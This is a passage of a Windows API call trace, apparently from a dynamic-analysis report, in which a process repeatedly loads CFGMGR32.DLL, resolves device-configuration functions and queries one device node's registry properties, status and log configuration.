(hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.458] malloc (_Size=0x18) returned 0x196ef0d1f20 [0226.458] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0226.459] malloc (_Size=0x14) returned 0x196ef0d1de0 [0226.459] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d1de0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1de0, pulLength=0x67117d608) returned 0x0 [0226.459] free (_Block=0x196ef0d1de0) [0226.459] malloc (_Size=0x48) returned 0x196ef0fbd10 [0226.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x67d529d9, dwHighDateTime=0x1d9eb0c)) [0226.459] SetEvent (hEvent=0x248) returned 1 [0226.463] malloc (_Size=0x18) returned 0x196ef0d1be0 [0226.463] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0226.463] free (_Block=0x196ef0d1be0) [0226.463] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0226.463] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0226.463] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0226.463] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0226.463] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0226.463] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0226.463] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0226.463] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0226.463] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0226.464] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225e20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0226.465] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0226.466] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0226.467] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.467] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.470] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.470] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.470] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.470] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.470] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0226.470] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.473] malloc (_Size=0x48) returned 0x196ef0fc120 [0226.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67d78cf4, dwHighDateTime=0x1d9eb0c)) [0226.473] SetEvent (hEvent=0x248) returned 1 [0226.477] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.477] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.480] malloc (_Size=0x18) returned 0x196ef0d1e60 [0226.480] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.481] malloc (_Size=0x48) returned 0x196ef0fbef0 [0226.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67d9f240, dwHighDateTime=0x1d9eb0c)) [0226.481] SetEvent (hEvent=0x248) returned 1 [0226.485] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.485] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.488] malloc (_Size=0x18) returned 0x196ef0d2000 [0226.488] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.489] malloc (_Size=0x48) returned 0x196ef0fbef0 [0226.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67d9f240, dwHighDateTime=0x1d9eb0c)) [0226.489] SetEvent (hEvent=0x248) returned 1 [0226.493] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.493] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.497] malloc (_Size=0x18) returned 0x196ef0d1e60 [0226.497] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.498] malloc (_Size=0x48) returned 0x196ef0fb590 [0226.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67dc5251, dwHighDateTime=0x1d9eb0c)) [0226.498] SetEvent (hEvent=0x248) returned 1 [0226.504] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.504] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.508] malloc (_Size=0x18) returned 0x196ef0d1e60 [0226.508] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.510] malloc (_Size=0x48) returned 0x196ef0fbae0 [0226.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67dc5251, dwHighDateTime=0x1d9eb0c)) [0226.510] SetEvent (hEvent=0x248) returned 1 [0226.568] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.568] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.579] malloc (_Size=0x18) returned 0x196ef0d2040 [0226.580] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0226.580] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0226.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x67e84301, dwHighDateTime=0x1d9eb0c)) [0226.580] SetEvent (hEvent=0x248) returned 1 [0226.590] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.590] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.595] malloc (_Size=0x18) returned 0x196ef0d19e0 [0226.595] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0226.596] malloc (_Size=0x48) returned 0x196ef0fbd60 [0226.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x67eaa170, dwHighDateTime=0x1d9eb0c)) [0226.596] SetEvent (hEvent=0x248) returned 1 [0226.601] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.601] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 